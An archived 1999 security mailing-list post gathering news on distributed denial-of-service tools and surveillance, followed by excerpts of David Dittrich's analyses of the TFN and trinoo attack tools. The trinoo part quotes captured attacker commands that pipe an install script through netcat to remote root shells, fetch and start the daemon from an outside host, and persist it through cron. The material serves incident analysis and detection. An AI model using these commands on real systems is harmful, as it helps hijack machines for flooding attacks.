[iwar] Historical posting
From: Fred Cohen
From: fc@all.net
To: iwar@onelist.com
Mon, Jan 1, 1999
fc Mon Jan 1, 1999
Received: (from fc@localhost) by all.net (8.9.3/8.7.3) id FAA15269 for iwar@onelist.com; Tue, 18 Apr 2000 05:21:43 -0700
To: iwar@onelist.com
MIME-Version: 1.0
Mailing-List: list iwar@egroups.com; contact iwar-owner@egroups.com
Delivered-To: mailing list iwar@egroups.com
Precedence: bulk
List-Unsubscribe:
Date: Mon, Jan 1, 1999
From: Fred Cohen
Reply-To: iwar@egroups.com
Subject: [iwar] Historical posting
Interesting items... big news day...
Networks hit by co-ordinated attack
New denial of service attack involves simultaneous strikes
from large number of remote machines. Further evidence of a
new type denial of service (DoS) attacks with unparalleled
potential for causing havoc has been uncovered by Internet
Security Systems (ISS). The attack involves co-ordinating
a simultaneous DoS strike from an unusually large number
of compromised and remotely controlled machines. ISS has
issued an alert warning that a number of high capacity
networks have already been subjected to this radical new
type of onslaught.
http://www.zdnet.co.uk/news/1999/48/ns-12025.html
Net hackers develop destructive new tools
A new breed of destructive hacker tools that coordinate Web
site attacks using thousands of unwitting ''slave'' computers
has the potential to cripple e-commerce and other Internet
operations, according to leading security analysts. The first
two versions of these software tools, called Trinoo and TFN,
were detected in August in an attack on a West Coast university's
system. A third, more advanced version was reportedly discovered
last week.
http://www.usatoday.com/usatonline/19991207/1723034s.htm
Clinton signs intell authorization bill
President Clinton last week signed into law the fiscal 2000
intelligence authorization bill, which calls for a review of
the role and mission of the high-tech National Reconnaissance
Office and forces the intelligence community to explain the
legal standards it adheres to when conducting surveillance
operations. The bill also amends a section of the National
Security Act of 1947, which established the CIA, to include
language that gives counterintelligence authorities greater
access to the computers used by members of the executive
branch in the course of their normal duties. The aim is to
strengthen counterintelligence programs that recently were
put under a microscope as a result of IT security lapses at
the nation's nuclear weapons laboratories.
http://www.fcw.com/pubs/fcw/1999/1206/web-clinton-12-08-99.html
Russia establishes Internet surveillance network
ISPs had to pay for surveillance network themselves,
according to Russian report. The Russian government has
introduced a comprehensive Internet traffic monitoring
system via more than 350 domestic Net service providers,
according to a report in the Moscow Times. The System for
Operational Investigative Activies (SORM in Russian)
reportedly offers the government's Federal Security
Service (FSB) comprehensive access to email messages and
financial transactions.
http://www.zdnet.co.uk/news/1999/48/ns-12023.html
International Cooperation for Cyber Crime and Terrorism in the
21st Century. This conference paper discusses ways to address
computer security problems through international cooperation.
http://www.cert.org/reports/stanford_whitepaper-V6.pdf
Results of the Distributed-Systems Intruder Tools Workshop
In November 1999, experts addressed issues surrounding distributed
systems intruder tools. This paper is one outcome of the DSIT
Workshop. In it, workshop participants examine the use of distributed
system intruder tools and provide information about protecting
systems from attack by the tools, detecting the use of the tools,
and responding to attacks.
http://www.cert.org/reports/dsit_workshop.pdf
... and...
==========================================================================
The "Tribe Flood Network" distributed denial of service attack tool
==========================================================================
David Dittrich dittrich@c...
University of Washington
Copyright 1999. All rights reserved.
October 21, 1999
Introduction
- ------------
The following is an analysis of the "Tribe Flood Network", or "TFN",
by Mixter. TFN is currently being developed and tested on a large
number of compromised Unix systems on the Internet, along with another
distributed denial of service tool named "trinoo" (see separate paper
analyzing trinoo.)
TFN is made up of client and daemon programs, which implement a
distributed network denial of service tool capable of waging ICMP
flood, SYN flood, UDP flood, and Smurf style attacks, as well as
providing an "on demand" root shell bound to a TCP port.
TFN daemons were originally found in binary form on a number of
Solaris 2.x systems, which were identified as having been compromised
by exploitation of buffer overrun bugs in the RPC services "statd",
"cmsd" and "ttdbserverd". These attacks are described in CERT
Incident Note 99-04:
http://www.cert.org/incident_notes/IN-99-04.html
These daemons were originally believed to be some form of remote
sniffer or access-controlled remote command shells, possibly used in
conjunction with sniffers to automate recovering sniffer logs.
During investigation of a related set of intrusions and denial of
service attacks using trinoo networks (another distributed denial of
service attack tool described in another paper), the installation of a
trinoo network was caught in the act and the trinoo and TFN source
code was obtained from the stolen account used to cache the intruders'
tools and log files. This analysis was done using this captured
source code ("version 1.3 build 0053", according to the Makefile) and
from observations of newer compiled binaries of the TFN daemon.
Modification of the source code can and would change any of the
details of this analysis, such as prompts, passwords, commands,
TCP/UDP port numbers, or supported attack methods, signatures, and
features.
Both the daemon and client were compiled and run on Red Hat Linux 6.0
systems. It is believed that daemon has been witnessed "in the wild"
only on Solaris 2.x systems.
For an analysis of the initial intrusion and network setup phases,
see the analysis of the trinoo network.
The network: attacker(s)-->client(s)-->daemon(s)-->victim(s)
- ------------------------------------------------------------
The TFN network is made up of a tribe client program ("tribe.c") and the
tribe daemon ("td.c"). A TFN network would look like this:
+----------+ +----------+
| attacker | | attacker |
+----------+ +----------+
| |
. . . --+------+---------------+------+----------------+-- . . .
| | |
| | |
+----------+ +----------+ +----------+
| client | | client | | client |
+----------+ +----------+ +----------+
| | |
| | |
. . . ---+------+-----+------------+---+--------+------------+-+-- . . .
| | | | |
| | | | |
+--------+ +--------+ +--------+ +--------+ +--------+
| daemon | | daemon | | daemon | | daemon | | daemon |
+--------+ +--------+ +--------+ +--------+ +--------+
The attacker(s) control one or more clients, each of which can control
many daemons. The daemons are all instructed to coordinate a packet
based attack against one or more victim systems by the client.
Communication
- -------------
Remote control of a TFN network is accomplished via command line
execution of the client program, which can be accomplished using any
of a number of connection methods (e.g., remote shell bound to a TCP
port, UDP based client/server remote shells, ICMP based client/server
shells such as LOKI, SSH terminal sessions, or normal "telnet" TCP
terminal sessions.) ...
==================== AND ======================
==========================================================================
The DoS Project's "trinoo" distributed denial of service attack tool
==========================================================================
David Dittrich dittrich@c...
University of Washington
Copyright 1999. All rights reserved.
October 21, 1999
Introduction
- ------------
The following is an analysis of the DoS Project's "trinoo" (a.k.a.
"trin00") master/slave programs, which implement a distributed
network denial of service tool.
Trinoo daemons were originally found in binary form on a number of
Solaris 2.x systems, which were identified as having been compromised
by exploitation of buffer overrun bugs in the RPC services "statd",
"cmsd" and "ttdbserverd". These attacks are described in CERT
Incident Note 99-04:
http://www.cert.org/incident_notes/IN-99-04.html
The trinoo daemons were originally believed to be UDP based,
access-restricted remote command shells, possibly used in conjunction
with sniffers to automate recovering sniffer logs.
During investigation of these intrusions, the installation of a trinoo
network was caught in the act and the trinoo source code was obtained
from the account used to cache the intruders' tools and log files.
This analysis was done using this recovered source code.
Modification of the source code would change any of the details
in this analysis, such as prompts, passwords, commands, TCP/UDP port
numbers, or supported attack methods, signatures, and features.
The daemon was compiled and run on Solaris 2.5.1 and Red Hat Linux 6.0
systems. The master was compiled and run on Red Hat Linux 6.0. It is
believed that both master and daemon have been witnessed "in the
wild" on these same platforms.
Trinoo networks are probably being set up on hundreds, perhaps
thousands, of systems on the Internet that are being compromised by
remote buffer overrun exploitation. Access to these systems is
probably being perpetuated by the installation of multiple "back
doors" along with the trinoo daemons.
A trinoo network of at least 227 systems -- 114 of these at Internet2
sites -- was used on August 17, 1999 to flood a single system at the
University of Minnessota, swamping the target network and rendering it
unusable for over two days. While responding to this attack, large
flows were also noticed going to at least sixteen other systems, some
outside the US. (See Appendix D for a report of part of this trinoo
attack.)
Attack scenario
- ---------------
A typical installation might go something like this.
1). A stolen account is set up as a repository for pre-compiled
versions of scanning tools, attack (i.e. buffer overrun exploit)
tools, root kits and sniffers, trinoo daemon and master programs,
lists of vulnerable hosts and previously compromised hosts, etc. This
would normally be a large system with many users, one with little
administrative oversight, and on a high-bandwidth connection for rapid
file transfer.
2). A scan is performed of large ranges of network blocks to identify
potential targets. Targets would include systems running various
services known to have remotely exploitable buffer overflow security
bugs, such as wu-ftpd, RPC services for "cmsd", "statd",
"ttdbserverd", "amd", etc. Operating systems being targeted appear to
be primarily Sun Solaris 2.x and Linux (due to the ready availability
of network sniffers and "root kits" for concealing back doors, etc.),
but stolen accounts on any architecture can be used for caching tools
and log files.
3). A list of vulnerable systems is then used to create a script that
performs the exploit, sets up a command shell running under the root
account that listens on a TCP port (commonly 1524/tcp, the
"ingreslock" service port), and connects to this port to confirm the
success of the exploit. In some cases, an electronic mail message is
sent to an account at a free web based email service to confirm which
systems have been compromised.
The result is a list of "owned" systems ready for setting up
back doors, sniffers, or the trinoo daemons or masters.
4). From this list of compromised systems, subsets with the desired
architecture are chosen for the trinoo network. Pre-compiled binaries
of the trinoo daemon are created and stored on a stolen account
somewhere on the Internet.
5). A script is then run which takes this list of "owned" systems and
produces yet another script to automate the installation process,
running each installation in the background for maximum multitasking.
This script uses "netcat" ("nc") to pipe a shell script to the root
shell listening on, in this case, port 1524/tcp:
- ---------------------------------------------------------------------------
./trin.sh | nc 128.aaa.167.217 1524 &
./trin.sh | nc 128.aaa.167.218 1524 &
./trin.sh | nc 128.aaa.167.219 1524 &
./trin.sh | nc 128.aaa.187.38 1524 &
./trin.sh | nc 128.bbb.2.80 1524 &
./trin.sh | nc 128.bbb.2.81 1524 &
./trin.sh | nc 128.bbb.2.238 1524 &
./trin.sh | nc 128.ccc.12.22 1524 &
./trin.sh | nc 128.ccc.12.50 1524 &
. . .
- ---------------------------------------------------------------------------
The script "trin.sh", whose output is being piped to these systems,
looks like:
- ---------------------------------------------------------------------------
echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
echo "echo rcp is done moving binary"
echo "chmod +x /usr/sbin/rpc.listen"
echo "echo launching trinoo"
echo "/usr/sbin/rpc.listen"
echo "echo \* \* \* \* \* /usr/sbin/rpc.listen > cron"
echo "crontab cron"
echo "echo launched"
echo "exit"
- ---------------------------------------------------------------------------
Depending on how closely crontab files are monitored, or if they are
used at all, this may be detected easily. If cron is not used at all
by this user (usually root), it may not be detected at all.
Another method was witnessed on at least one other system, where the
daemon was named "xterm", and was started using a script (named "c" on
the system on which it was found) that contains:
- ---------------------------------------------------------------------------
cd /var/adm/.1
PATH=.:$PATH
export PATH
xterm 1>/dev/null 2>&1
- ---------------------------------------------------------------------------
This would supposedly imply a method of running this script on demand
to set up the trinoo network.
Even more subtle ways of having trinoo daemons/masters lie in wait for
execution at a given time are easy to envision (e.g., UDP or ICMP
based client/server shells, such as LOKI (see Appendix C) , programs
that wake up periodically and open a listening TCP or UDP port, etc.)
The result of this automation is the ability for attackers to set up
the denial of service network, on widely dispersed systems whose true
owners don't even know are out of their control, in a very short time
frame.
6). Optionally, a "root kit" is installed on the system to hide the
presence of programs, files, and network connections. This is more
important on the master system, since these systems are key to the
trinoo network. (It should be noted that in many cases, masters have
been set up on Internet Service Providers' primary name server hosts,
which would normally have extremely high packet traffic and large
numbers of TCP and UDP connections, which would effectively hide any
trinoo related traffic or activity, and would likely not be detected.
(The fact that these are primary name servers would also tend to make
the owners less likely to take the system off the Internet when
reports begin to come in about suspected denial of service related
activity.)